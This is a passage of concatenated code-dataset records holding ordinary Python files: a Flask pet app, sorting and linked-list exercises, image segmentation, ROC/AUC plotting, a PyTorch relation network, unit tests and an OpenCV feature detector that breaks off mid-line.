background.clip_draw(0,0,1280,1024,800/2,600/2,800,600)\n #마우스 포인트\n draw_point(mouse_x+50/2,mouse_y-52/2)\n move_character(point[0],point[1],point[2],point[3])\n update_canvas()\n handle_events()\n\nclose_canvas()","sub_path":"Drills/Drill-06/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"403483057","text":"from flask import Flask, url_for, render_template, redirect, flash, jsonify\nfrom models import db, connect_db, Pet\n# from forms import AddPetForm, EditPetForm\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = \"postgresql:///adopt\"\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\nconnect_db(app)\ndb.create_all()\n\n\n@app.route(\"/\")\ndef list_pets():\n \"\"\"List all pets.\"\"\"\n\n pets = Pet.query.all()\n return render_template(\"pet_list.html\", pets=pets)\n\n\n# @app.route(\"/add\", methods=[\"GET\", \"POST\"])\n# def add_pet():\n# \"\"\"Add a pet.\"\"\"\n\n# form = AddPetForm()\n\n# if form.validate_on_submit():\n# data = {k: v for k, v in form.data.items() if k != \"csrf_token\"}\n# new_pet = Pet(**data)\n# # new_pet = Pet(name=form.name.data, age=form.age.data, ...)\n# # db.session.add(new_pet)\n# # db.session.commit()\n# flash(f\"{new_pet.name} added.\")\n# return redirect(url_for('list_pets'))\n\n# else:\n# # re-present form for editing\n# return render_template(\"pet_add_form.html\", form=form)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"86171132","text":"#!/usr/bin/python\n\n\"\"\"\nInsert sort is only used in small amount of data, it insert a value into a sorted seq.\n\n6 5 3 1 8 7 2 4\n5 6 3 1 8 7 2 4\n3 5 6 1 8 7 2 4\n1 3 5 6 8 7 2 4\n1 3 5 6 7 8 2 4\n1 2 3 5 6 7 8 4\n1 2 3 4 5 6 7 8\n\nworst: O(n^2)\nbest: O(n)\naverage: )(n^2)\n\"\"\"\ndef insert_sort(seq):\n count = len(seq)\n for flag in range (1, count):\n key = seq[flag]\n i = flag - 1\n while (i >= 0):\n if (seq[i] > key):\n seq[i + 1] = seq[i]\n seq[i] = key\n i -= 1\n return seq\n","sub_path":"8_sort/insert_sort.py","file_name":"insert_sort.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"109697767","text":"# Program that propogates the uncertainty in the filter curves to the ZP \nimport JLA_library as JLA\nimport numpy\nimport astropy.io.fits as fits\n\n\ndef prop_unc(params,filt,spectrum=None):\n\n # Use the filterwheel to find the filename of the filter\n filterDir=params['DES_instrument']\n filterWheel=JLA.get_full_path(filterDir)+'/Filterwheel'\n filterNames=numpy.genfromtxt(filterWheel,comments='#',usecols=(0,1),dtype='S1,S30',\n names=['filterName','filename'])\n filter_filename=filterNames[filterNames['filterName']==filt['filter'][-1:]]['filename'][0]\n\n # Read in the filter curve\n filterCurve=JLA.filterCurve(JLA.get_full_path(filterDir)+'/'+filter_filename)\n\n # Set the magnitude of the filter offset\n offset=filt['wavelength']*10. \n\n # We compute a number of integrals. First with the filtercurves as is, then with an offset added to the filter curve\n # i) The I0 integral \n error_I0=2.5 * numpy.log10(filterCurve.I0(0.0)/filterCurve.I0(offset))\n # ii) The chromatic correction.\n # Assumed to be zero for now\n # If the standard filter transmission curves are shifted by 5nm, then all the filters will be out by that same amount\n # This may mean, that the offset is quite small\n #mean_wavelength=filterCurve.mean()\n #I10_std=filterCurve.I1(mean_wavelength,0.0) / filterCurve.I0(0.0)\n #I10_std_offset=filterCurve.I1(mean_wavelength,10.0) / filterCurve.I0(10.0)\n\n error_chromatic=0.0\n\n # iii) The error in the AB offset\n # We use the standard filter curve to compute the AB offset\n if spectrum==None:\n calspec=JLA.spectrum(fits.getdata(JLA.get_full_path(params['calspec']),1),'CALSPEC')\n else:\n calspec=JLA.spectrum(fits.getdata(JLA.get_full_path(spectrum),1),'CALSPEC')\n\n error_AB=filterCurve.AB(calspec)-filterCurve.AB(calspec,offset)\n return error_I0,error_chromatic,error_AB\n","sub_path":"scripts/jla_FGCM.py","file_name":"jla_FGCM.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"650440913","text":"import unittest\nfrom unittest.mock import patch\nfrom collections import OrderedDict\nfrom framework.utils import selection as selection_utils\nfrom appiumatic.abstraction import create_home_event, create_back_event, create_background_event, create_state\n\n\nclass SelectionUtilsTests(unittest.TestCase):\n\n def test_get_frequency_weights(self):\n # Arrange\n event_frequencies = {\n \"event_hash_1\": 1,\n \"event_hash_2\": 2,\n \"event_hash_3\": 5,\n \"event_hash_4\": 4\n }\n\n # Act\n event_weights = selection_utils.get_frequency_weights(event_frequencies)\n\n # Assert\n expected_weights = {\n \"event_hash_1\": 6.0,\n \"event_hash_2\": 4.0,\n \"event_hash_3\": 2.0,\n \"event_hash_4\": 2.4\n }\n self.assertEqual(expected_weights, event_weights)\n\n def test_get_uniform_weights(self):\n # Arrange\n event_hashes = [\"event_hash_1\", \"event_hash_2\", \"event_hash_3\"]\n\n # Act\n event_weights = selection_utils.get_uniform_event_weights(event_hashes)\n\n # Assert\n expected_weights = {\"event_hash_1\": 1, \"event_hash_2\": 1, \"event_hash_3\": 1}\n self.assertEqual(expected_weights, event_weights)\n\n @patch(\"framework.utils.selection.generate_event_hash\")\n def test_create_hash_to_events_map(self, generate_event_hash_mock):\n # Arrange\n event_1 = \"event_1\"\n event_2 = \"event_2\"\n events = [event_1, event_2]\n\n def side_effect(event):\n if event == event_1:\n return \"event_hash_1\"\n else:\n return \"event_hash_2\"\n generate_event_hash_mock.side_effect = side_effect\n\n # Act\n hash_to_events_map = selection_utils.create_hash_to_events_map(events)\n\n # Assert\n self.assertEqual(len(hash_to_events_map), 2)\n self.assertEqual(hash_to_events_map[\"event_hash_1\"], event_1)\n self.assertEqual(hash_to_events_map[\"event_hash_2\"], event_2)\n\n def test_get_min_frequency_events_when_all_have_same_frequency(self):\n # Arrange\n event_frequencies = OrderedDict()\n event_frequencies[\"event_hash_1\"] = 2\n event_frequencies[\"event_hash_2\"] = 2\n event_frequencies[\"event_hash_3\"] = 2\n\n # Act\n min_frequency_event_hashes = selection_utils.get_min_frequency_event_hashes(event_frequencies)\n\n # Assert\n self.assertEqual(len(min_frequency_event_hashes), 3)\n self.assertEqual(min_frequency_event_hashes[0], \"event_hash_1\")\n self.assertEqual(min_frequency_event_hashes[1], \"event_hash_2\")\n self.assertEqual(min_frequency_event_hashes[2], \"event_hash_3\")\n\n def test_get_min_frequency_events_when_only_one_with_min_frequency(self):\n # Arrange\n event_frequencies = OrderedDict()\n event_frequencies[\"event_hash_1\"] = 2\n event_frequencies[\"event_hash_2\"] = 2\n event_frequencies[\"event_hash_3\"] = 1\n\n # Act\n min_frequency_event_hashes = selection_utils.get_min_frequency_event_hashes(event_frequencies)\n\n # Assert\n self.assertEqual(len(min_frequency_event_hashes), 1)\n self.assertEqual(min_frequency_event_hashes[0], \"event_hash_3\")\n\n def test_make_weighted_selection_with_zero_goal_weight(self):\n # Arrange\n precondition = create_state(current_activity=None, state_id=None)\n hash_to_events_map = OrderedDict()\n hash_to_events_map[\"event_hash_1\"] = create_background_event(precondition)\n hash_to_events_map[\"event_hash_2\"] = create_home_event(precondition)\n hash_to_events_map[\"event_hash_3\"] = create_back_event(precondition)\n\n event_weights = OrderedDict()\n event_weights[\"event_hash_1\"] = 2\n event_weights[\"event_hash_2\"] = 4\n event_weights[\"event_hash_3\"] = 6\n\n goal_weight = 0.0\n\n # Act\n selected_event = selection_utils.make_weighted_selection(hash_to_events_map, event_weights, goal_weight)\n\n # Assert\n self.assertEqual(selected_event, hash_to_events_map[\"event_hash_1\"])\n\n def test_make_weighted_selection_with_max_goal_weight(self):\n # Arrange\n precondition = create_state(current_activity=None, state_id=None)\n hash_to_events_map = OrderedDict()\n hash_to_events_map[\"event_hash_1\"] = create_background_event(precondition)\n hash_to_events_map[\"event_hash_2\"] = create_home_event(precondition)\n hash_to_events_map[\"event_hash_3\"] = create_back_event(precondition)\n\n event_weights = OrderedDict()\n event_weights[\"event_hash_1\"] = 2\n event_weights[\"event_hash_2\"] = 4\n event_weights[\"event_hash_3\"] = 6\n\n goal_weight = 7.5\n\n # Act\n selected_event = selection_utils.make_weighted_selection(hash_to_events_map, event_weights, goal_weight)\n\n # Assert\n self.assertEqual(selected_event, hash_to_events_map[\"event_hash_3\"])","sub_path":"main_tests/unit/selection_utils_tests.py","file_name":"selection_utils_tests.py","file_ext":"py","file_size_in_byte":4958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"544278233","text":"# IMPORTS\nimport os\nimport shutil\nfrom skimage.io import imsave\nimport warnings\n\n# IMPORTS\nimport scipy\nfrom scipy.ndimage.morphology import binary_fill_holes\nfrom skimage.measure import label\nfrom skimage.segmentation import find_boundaries\nfrom skimage.filters import threshold_otsu\nfrom scipy import ndimage\nfrom scipy import signal\nimport skimage\nfrom skimage import morphology\nfrom skimage import filters\nfrom skimage.morphology import disk\nfrom skimage.morphology import greyreconstruct\nfrom skimage import dtype_limits\nimport numpy as np\n\n\ndef _add_constant_clip(img, const_value):\n \"\"\"Add constant to the image while handling overflow issues gracefully.\n \"\"\"\n min_dtype, max_dtype = dtype_limits(img, clip_negative=False)\n\n if const_value > (max_dtype - min_dtype):\n raise ValueError(\"The added constant is not compatible\"\n \"with the image data type.\")\n\n result = img + const_value\n result[img > max_dtype-const_value] = max_dtype\n return(result)\n\n\ndef _subtract_constant_clip(img, const_value):\n \"\"\"Subtract constant from image while handling underflow issues.\n \"\"\"\n min_dtype, max_dtype = dtype_limits(img, clip_negative=False)\n\n if const_value > (max_dtype-min_dtype):\n raise ValueError(\"The subtracted constant is not compatible\"\n \"with the image data type.\")\n\n result = img - const_value\n result[img < (const_value + min_dtype)] = min_dtype\n return(result)\n\ndef extended_minima(img, h, selem=None):\n\n if np.issubdtype(img.dtype, 'half'):\n resolution = 2 * np.finfo(img.dtype).resolution\n if h < resolution:\n h = resolution\n h_corrected = h - resolution / 2.0\n shifted_img = img + h\n else:\n shifted_img = _add_constant_clip(img, h)\n h_corrected = h\n\n rec_img = greyreconstruct.reconstruction(shifted_img, img,\n method='erosion', selem=selem)\n residue_img = rec_img - img\n h_min = np.zeros(img.shape, dtype=np.uint8)\n h_min[residue_img > 0] = 1\n return h_min\n\n\ndef segment_cells_nuclei(image_input, image_output, h_threshold=15, min_size_cell=200, min_size_nuclei=1000, save_path=None):\n ''' Segment cells and nuclei. \n ARGS\n image_output ... multichannel image. 1st channel is mask of the cells, \n 2nd channel mask of the nuclei.\n \n image_input ... image of the cells used for segmentation.\n '''\n \n im_mask_cell = image_output[:, :, 0]\n im_mask_nuc = image_output[:, :, 1]\n\n img_cell = image_input[:, :, 0]\n\n # Segment the nuclei\n nuclei_mask = segment_nuclei_cellcog(im_mask_nuc, h_threshold, min_size=min_size_nuclei)\n \n # Segment the cells\n im_binary_output = im_mask_cell > threshold_otsu(im_mask_cell)\n im_binary_output = binary_fill_holes(im_binary_output)\n im_binary_output = morphology.remove_small_objects(\n im_binary_output, min_size=min_size_cell, connectivity=1, in_place=False)\n \n # Apply watershed\n seg = morphology.watershed(\n 1.0 - img_cell / 255.0, nuclei_mask, mask=im_binary_output)\n cytoplasm_mask = seg\n \n if save_path:\n\n import palettable\n from skimage.color import label2rgb\n \n scipy.misc.imsave(save_path + '_cell_mask.png',\n np.float32(cytoplasm_mask))\n \n seg = label(cytoplasm_mask)\n bound = find_boundaries(seg, background=0)\n\n image_label_overlay = label2rgb(seg, bg_label=0, bg_color=(\n 0.8, 0.8, 0.8), colors=palettable.colorbrewer.sequential.YlGn_9.mpl_colors)\n image_label_overlay[bound == 1, :] = 0\n\n scipy.misc.imsave(save_path + '_cell_color_mask.png',\n np.float32(image_label_overlay))\n\n # tiff.imsave(img_name,np.float32(_nuclei_mask))\n scipy.misc.imsave(save_path + '_nuclei_mask.png',\n np.float32(nuclei_mask))\n\n\n seg = label(nuclei_mask)\n bound = find_boundaries(seg, background=0)\n image_label_overlay = label2rgb(seg, bg_label=0, bg_color=(\n 0.8, 0.8, 0.8), colors=palettable.colorbrewer.sequential.YlGn_9.mpl_colors)\n image_label_overlay[bound == 1, :] = 0\n scipy.misc.imsave(save_path + '_nuclei_color_mask.png',\n np.float32(image_label_overlay))\n\n return cytoplasm_mask, nuclei_mask\n\n\ndef segment_nuclei_cellcog(im, h_threshold=10, bg_window_size=100, min_size=1000):\n im = im.astype('double')\n im = (im - im.min()) / im.max() * 255\n im = im.astype('uint8')\n\n # Pre-processing\n \n # Median filtering\n im_filt = filters.median(im, selem=disk(10))\n \n # BGD estimation\n window = np.ones((bg_window_size, bg_window_size)) / \\\n (bg_window_size * bg_window_size)\n a = signal.fftconvolve(im_filt, window)\n crop_d = (bg_window_size - 1) // 2\n bgd_crop = a[crop_d:np.shape(im)[0] + crop_d,\n crop_d:np.shape(im)[1] + crop_d]\n \n # BGD substraction and clip\n im_prefilt = im_filt - bgd_crop\n im_prefilt = im_prefilt.clip(min=0)\n \n # Thresholding, fill and remove small objects\n threshold = filters.threshold_otsu(im)\n img_threshold = im > threshold\n\n img_threshold = morphology.remove_small_objects(img_threshold, min_size)\n img_threshold = ndimage.morphology.binary_fill_holes(img_threshold)\n\n # Distance transform\n distance = ndimage.distance_transform_edt(img_threshold)\n distance = filters.gaussian(distance, sigma=1)\n\n # h-maxima detection\n res = extended_minima(-distance, h_threshold)\n label_nuc = skimage.measure.label(res)\n\n # watershed\n wat = morphology.watershed(-distance, label_nuc)\n result_label_seg = morphology.remove_small_objects(\n wat * img_threshold, 1000)\n return result_label_seg\n","sub_path":"imgseg/segmentationUtils.py","file_name":"segmentationUtils.py","file_ext":"py","file_size_in_byte":5832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"246821769","text":"#!/usr/bin/env python\r\n\r\n# -*- encoding: utf-8 -*-\r\n\r\n'''\r\n@Author : HY\r\n@Software: PyCharm\r\n@File : MultClassROCAndAUC.py\r\n@Time : 2019/5/19 15:05\r\n@Desc : 调用sklearn相关函数实现多分类的ROC和AUC曲线的绘制\r\n\r\n'''\r\n\r\nfrom sklearn import datasets\r\nfrom sklearn.preprocessing import label_binarize\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.multiclass import OneVsRestClassifier\r\nfrom sklearn.metrics import roc_curve\r\nfrom sklearn.metrics import auc\r\nimport matplotlib.pyplot as plt\r\nfrom itertools import cycle\r\nimport numpy as np\r\nfrom scipy import interp\r\nfrom sklearn.metrics import roc_auc_score\r\ndef showMultiClassROCAndAUC():\r\n iris=datasets.load_iris()\r\n trainDataSet=iris.data\r\n trainLabel=iris.target\r\n #测试集按照0.5的比例选取随机选取,然后random_state保证程序每次选取的随机数都是一样的\r\n x_train,x_test,y_train,y_test=train_test_split(trainDataSet,trainLabel,test_size=0.5,random_state=1)\r\n #二值化\r\n y_test=label_binarize(y_test,classes=[0,1,2])\r\n svm=SVC(C=1.0,kernel='linear',degree=2,probability=True,gamma=0.1)\r\n clf=OneVsRestClassifier(svm)\r\n clf.fit(x_train, y_train)\r\n y_score=clf.decision_function(x_test)\r\n showMacroROCAndAUC(y_test,y_score)\r\n showMicroROCAndAUC(y_test,y_score)\r\n\r\n\r\ndef showMacroROCAndAUC(y_test,y_score):\r\n \"\"\"\r\n Description:把预测强度矩阵和标签矩阵的每一列做基准画ROC曲线,可以得到n条ROC曲线\r\n Params:\r\n\r\n Return:\r\n\r\n Author:\r\n HY\r\n Modify:\r\n 2019/5/19 17:54\r\n \"\"\"\r\n m,n=y_test.shape\r\n FPRs=[] ;TPRs=[]\r\n colors = cycle(['aqua', 'darkorange', 'cornflowerblue'])\r\n for i,color in zip(range(n),colors):\r\n FPR,TPR,threshodls=roc_curve(y_test[:,i],y_score[:,i])\r\n FPRs.append(FPR)\r\n TPRs.append(TPR)\r\n AUC=auc(FPR,TPR)\r\n plt.plot(FPR,TPR,c=color,label='AUC is %4f'%AUC)\r\n plt.xlabel('TPR')\r\n plt.ylabel('FPR')\r\n plt.title('Macro ROC and AUC ')\r\n #求平均的TPR和FPR\r\n all_fpr = np.unique(np.concatenate([fpr for fpr in FPRs]))#也就是平均后了的FPR\r\n mean_tpr=np.zeros_like(all_fpr)\r\n for FPR,TPR in zip(FPRs,TPRs):\r\n #需要进行插值计算\r\n mean_tpr+=interp(all_fpr,FPR,TPR)\r\n mean_tpr/=n\r\n AUC_mean=auc(all_fpr,mean_tpr)\r\n plt.plot(all_fpr, mean_tpr, c='r', label='Macro ROC AUC is %4f' % AUC_mean)\r\n plt.plot([0,1],[0,1],c='black',linestyle='--',lw=2)\r\n print('直接调用roc_auc_score函数macro得到auc的值:%4f'%roc_auc_score(y_test,y_score,average='macro'))\r\n\r\ndef showMicroROCAndAUC(y_test,y_score):\r\n \"\"\"\r\n Description:把预测强度矩阵和标签矩阵降维y_score.ravel()转置后,可以画出一条整体的ROC曲线\r\n Params:\r\n\r\n Return:\r\n\r\n Author:\r\n HY\r\n Modify:\r\n 2019/5/19 17:56\r\n \"\"\"\r\n FPR, TPR, threshodls = roc_curve(y_test.ravel(),y_score.ravel())\r\n AUC=auc(FPR,TPR)\r\n plt.plot(FPR,TPR,c='purple',label='Micro ROC and AUC is:% 4f'%AUC)\r\n plt.legend()\r\n plt.show()\r\n print('直接调用roc_auc_score函数micro得到auc的值:%4f' % roc_auc_score(y_test, y_score, average='micro'))\r\n\r\nif __name__ == '__main__':\r\n showMultiClassROCAndAUC()","sub_path":"AdaBoost/MultClassROCAndAUC.py","file_name":"MultClassROCAndAUC.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"244662841","text":"def make_album(artist,song_title):\n \"\"\"create the dictionary containing artist and song title\"\"\"\n album = {'singer':artist,'song':song_title}\n return album\n\nfav_album = make_album('celine dion','a new day has come')\nprint (fav_album)\n\n\ndef make_album(artist,song_title,tracks=''):\n \"\"\"This leaves room for the tracks incase that is provided.\"\"\"\n album = {'singer':artist,'song':song_title}\n if tracks:\n album['tracks'] = tracks\n return album\n\nfav_album = make_album('celine dion','a new day has come',tracks=14)\nprint (fav_album)\n\n\ndef make_album(artist,album,tracks,location=''):\n \"\"\"Default location left empty so it can be filled.\"\"\"\n album = {'musician':artist,'album_title':album,'number of tracks':tracks}\n if location:\n album['country'] = location\n return album\n\ndownload = make_album('jay z','4:44','12',location='america')\nprint (\"\\nThe details in my downloads:\")\nprint (download)","sub_path":"functions/album.py","file_name":"album.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"546089376","text":"from __future__ import print_function, division\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\nclass ImageFeatureExtraction(nn.Module):\n def __init__(self, use_cuda=True):\n super(ImageFeatureExtraction, self).__init__()\n self.model = nn.Sequential(\n nn.Conv2d(3, 32, 3, stride=2, padding=1),\n nn.BatchNorm2d(32),\n nn.ReLU(inplace=True),\n nn.Conv2d(32, 64, 3, stride=2, padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(inplace=True),\n nn.Conv2d(64, 128, 3, stride=2, padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(inplace=True),\n nn.Conv2d(128, 256, 3, stride=2, padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(inplace=True)\n )\n if use_cuda:\n self.model.cuda()\n\n def forward(self, image_batch):\n return self.model(image_batch)\n\nclass RelationNetwork(nn.Module):\n def __init__(self, n_imgFeat, out_size, qstEmb_size, use_cuda=True):\n super(RelationNetwork, self).__init__()\n self.input_size = (n_imgFeat+2)*2 + qstEmb_size # (256+2)*2 + 11\n\n self.mlp_g = nn.Sequential(\n nn.Linear(self.input_size, 2000),\n nn.ReLU(inplace=True),\n nn.Linear(2000, 2000),\n nn.ReLU(inplace=True),\n nn.Linear(2000, 2000),\n nn.ReLU(inplace=True),\n nn.Linear(2000, 2000),\n nn.ReLU(inplace=True)\n )\n\n self.mlp_f = nn.Sequential(\n nn.Linear(2000, 2000),\n nn.ReLU(inplace=True),\n nn.Linear(2000, 1000),\n nn.ReLU(inplace=True),\n nn.Linear(1000, 500),\n nn.ReLU(inplace=True),\n nn.Linear(500, 100),\n nn.ReLU(inplace=True),\n nn.Linear(100, out_size),\n nn.LogSoftmax(dim=1)\n )\n\n if use_cuda:\n self.mlp_g.cuda()\n self.mlp_f.cuda()\n\n def forward(self, imgFeat, qstEmb):\n b, n_obj, d_obj = imgFeat.size() # Image feature size [batch x 5*5 x (256+2)]\n d_qst = qstEmb.size(1) # Question embedding size [batch x 11]\n\n # Make all possible pairs (o_i, o_j, q)\n o_i = imgFeat.unsqueeze(1).expand([b, n_obj, n_obj, d_obj]) # [batch x 5*5 x 5*5 x (256+2)]\n o_j = imgFeat.unsqueeze(2).expand([b, n_obj, n_obj, d_obj]) # [batch x 5*5 x 5*5 x (256+2)]\n q = qstEmb.unsqueeze(1).unsqueeze(2).expand([b, n_obj, n_obj, d_qst]) # [batch x 5*5 x 5*5 x 11]\n\n in_g = torch.cat([o_i,o_j,q], 3).view(b*n_obj*n_obj, (d_obj*2)+d_qst) # [batch*5*5*5*5 x (256+2)*2+11]\n\n # Feed forward to 'g'\n relation = self.mlp_g(in_g) # [batch*5*5*5*5 x 2000]\n relation = relation.view(b, n_obj*n_obj, 2000) # [batch x 5*5*5*5 x 2000]\n relation = relation.sum(1).squeeze(1) # [batch x 2000]\n\n # Feed forward to 'f'\n out = self.mlp_f(relation)\n return out\n\nclass net(nn.Module):\n def __init__(self, question_len=11, n_feature=256+2, n_classes=10, use_cuda=True):\n super(net, self).__init__()\n self.use_cuda = use_cuda\n\n self.ImageFeatrueExtraction = ImageFeatureExtraction(use_cuda=use_cuda)\n self.RelationalNetwork = RelationNetwork(n_imgFeat=n_feature, out_size=n_classes,\n qstEmb_size=question_len, use_cuda=use_cuda)\n self.build_coord_tensor(64, 5)\n\n def forward(self, image_batch, question_batch):\n imgFeat = self.ImageFeatrueExtraction(image_batch) # [batch x 256 x 5 x 5]\n\n b,c,d,_ = imgFeat.size()\n imgFeat = imgFeat.view(b, c, d*d) # [batch x 256 x 5*5]\n\n # Tag coordinates to the image features\n if self.coord_tensor.size()[0] != b: # In case batch-size changes\n self.build_coord_tensor(b, d)\n self.coord_tensor = self.coord_tensor.view(b, 2, d * d) # [batch x 2 x 5*5]\n\n imgFeat = torch.cat([imgFeat, self.coord_tensor], 1) # [batch x (256+2) x 5*5]\n imgFeat = imgFeat.permute(0, 2, 1) # [batch x 5*5 x (256+2)]\n\n out = self.RelationalNetwork(imgFeat, question_batch)\n return out\n\n def build_coord_tensor(self, b, d):\n \"\"\"\n This part gently borrowed from\n https://github.com/mesnico/RelationNetworks-CLEVR/blob/master/model.py\n \"\"\"\n coords = torch.linspace(-d / 2., d / 2., d)\n x = coords.unsqueeze(0).repeat(d, 1)\n y = coords.unsqueeze(1).repeat(1, d)\n ct = torch.stack((x, y))\n ct = ct.unsqueeze(0).repeat(b, 1, 1, 1)\n self.coord_tensor = Variable(ct, requires_grad=False)\n\n if self.use_cuda:\n self.coord_tensor = self.coord_tensor.cuda()\n","sub_path":"models/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":4711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"93095028","text":"class Node:\n def __init__(self, v):\n self.value = v\n self.prev = None\n self.next = None\n\nclass LinkedList2: \n def __init__(self):\n self.head = None\n self.tail = None\n\n def add_in_tail(self, item):\n if self.head is None:\n self.head = item\n item.prev = None\n item.next = None\n else:\n self.tail.next = item\n item.prev = self.tail\n self.tail = item\n\n def find(self, val):\n node = self.head\n\n while node is not None:\n if node.value == val:\n return node\n node = node.next\n return None\n\n def find_all(self, val):\n node = self.head\n list_values_found = []\n while node is not None:\n if node.value == val:\n list_values_found.append(node)\n node = node.next\n return list_values_found\n\n def delete(self, val, all=False):\n node = self.head\n\n while node is not None:\n if self.head.value == val:\n self.head = node.next\n if self.head is not None:\n self.head.prev = None\n\n if self.head is not None and self.head.next is None:\n self.tail = self.head\n \n if not all: break\n elif node.value == val:\n node.prev.next = node.next\n if node.next is not None: node.next.prev = node.prev\n if node == self.tail:\n self.tail = node.prev\n if not all: break\n node = node.next\n \n\n if self.head is None:\n self.tail = None\n\n\n def clean(self):\n self.head = None\n self.tail = None\n\n def len(self):\n node = self.head\n count = 0\n while node is not None:\n count += 1\n node = node.next\n return count\n\n def insert(self, afterNode, newNode):\n if afterNode is None and self.len() > 1:\n newNode.prev = self.tail\n self.tail.next = newNode\n self.tail = newNode\n elif afterNode is None:\n self.head = newNode\n self.tail = newNode\n elif afterNode == self.tail:\n newNode.prev = afterNode\n afterNode.next = newNode\n self.tail = newNode\n else:\n newNode.prev = afterNode\n newNode.next = afterNode.next\n afterNode.next.prev = newNode\n afterNode.next = newNode\n\n\n def add_in_head(self, newNode):\n if self.head is None:\n newNode.prev = None\n newNode.next = None\n self.tail = newNode\n else:\n newNode.next = self.head\n self.head.prev = newNode\n\n self.head = newNode","sub_path":"linked_list/double_linked_list/double_linked_list.py","file_name":"double_linked_list.py","file_ext":"py","file_size_in_byte":2831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"447767501","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Oct 16 16:30:24 2019\r\n\r\n@author: PateauTech_2\r\n\"\"\"\r\n\r\n# import libraries\r\nfrom scipy import ndimage\r\nimport cv2\r\nfrom PIL import Image \r\nfrom pandas import DataFrame\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.cluster import KMeans\r\nimport numpy as np\r\nimport glob\r\n\r\n\r\n# Class construction\r\n\r\nclass AutomaticDetectionFeatures(object):\r\n \r\n # variable\r\n \r\n def __init__(self,PathI,PathC,PathF,PathE,PathN,nbPointNose,resizeN):\r\n \r\n # path to images\r\n self.imagesPath = PathI\r\n # path and activation of cascade already trained\r\n self.cascCriniere = cv2.CascadeClassifier(PathC)\r\n self.cascFace = cv2.CascadeClassifier(PathF)\r\n self.cascNose = cv2.CascadeClassifier(PathN)\r\n self.cascEye = cv2.CascadeClassifier(PathE)\r\n # number of detected points in the nose for Kmeans\r\n self.NoseDetect = nbPointNose\r\n # simplification if any\r\n self.resize_image = resizeN\r\n # simplification level after sobel extraction\r\n self.sensitivity = 20\r\n # pixel around the center points\r\n self.diametre = 50\r\n \r\n def gaussian(self,x, mu, sig):\r\n return np.exp(-np.power(x - mu, 2.) / (2 * np.power(sig, 2.)))\r\n \r\n def cutImage(self,gray,cut):\r\n Yend = cut[3]\r\n Ystart = cut[2]\r\n Xend = cut[5]\r\n Xstart = cut[4]\r\n xS = int((np.size(gray)/len(gray))/cut[0])\r\n yS = int(len(gray)/cut[1])\r\n gray = gray[int(yS*Ystart):int(yS*Yend),int(xS*Xstart):int(xS*Xend)]\r\n return gray,int(yS*Ystart),int(xS*Xstart)\r\n\r\n \r\n def useCascade(self,cascade,image,Precise,*cut): \r\n # detect objects in the image \r\n if Precise[0] == False:\r\n objects = cascade.detectMultiScale(image)\r\n else:\r\n x = Precise[1]\r\n y = Precise[2]\r\n w = Precise[3]\r\n h = Precise[4]\r\n firstImg = image[int(y):int(y)+int(h),int(x):int(x)+int(w)]\r\n finaleImg,xS,yS = self.cutImage(firstImg,cut[0])\r\n objects = cascade.detectMultiScale(finaleImg)\r\n for values in objects:\r\n values[0]+=(x+yS)\r\n values[1]+=(y+xS)\r\n return objects\r\n \r\n def simplifyImage(self,image):\r\n foo = Image.fromarray(image)\r\n foo_size = foo.size\r\n foo = foo.resize((int(foo_size[0]/self.resize_image),int(foo_size[1]/self.resize_image)),Image.ANTIALIAS)\r\n return np.array(foo)\r\n \r\n def somethingInside(self,vectorInside,vectorOutside):\r\n if vectorOutside[0]vectorInside[2]+vectorInside[0] and vectorOutside[3]+vectorOutside[1]>vectorInside[3]+vectorInside[1]:\r\n return True\r\n else:\r\n return False\r\n \r\n def detectFaces(self,image): \r\n CoorFaces = self.useCascade(self.cascFace,self.simplifyImage(image),[False])\r\n CoorCriniere = self.useCascade(self.cascCriniere,self.simplifyImage(image),[False])\r\n # condition: the face must be inside the criniere!\r\n FaceCoordonnes = []\r\n for vectorF in CoorFaces:\r\n for vectorC in CoorCriniere:\r\n if self.somethingInside(vectorF,vectorC):\r\n FaceCoordonnes.append([True,vectorF[0]*self.resize_image,vectorF[1]*self.resize_image,vectorF[2]*self.resize_image,vectorF[3]*self.resize_image])\r\n \r\n return FaceCoordonnes\r\n \r\n def Sobel(self,src,coor): # take a grey image\r\n scale = 1\r\n delta = 0\r\n ddepth = cv2.CV_16S\r\n gray = src[int(coor[1]):int(coor[1])+int(coor[3]), int(coor[0]):int(coor[0])+int(coor[2])]\r\n grad_x = cv2.Sobel(gray, ddepth, 1, 0, ksize=3, scale=scale, delta=delta, borderType=cv2.BORDER_DEFAULT)\r\n grad_y = cv2.Sobel(gray, ddepth, 0, 1, ksize=3, scale=scale, delta=delta, borderType=cv2.BORDER_DEFAULT)\r\n abs_grad_x = 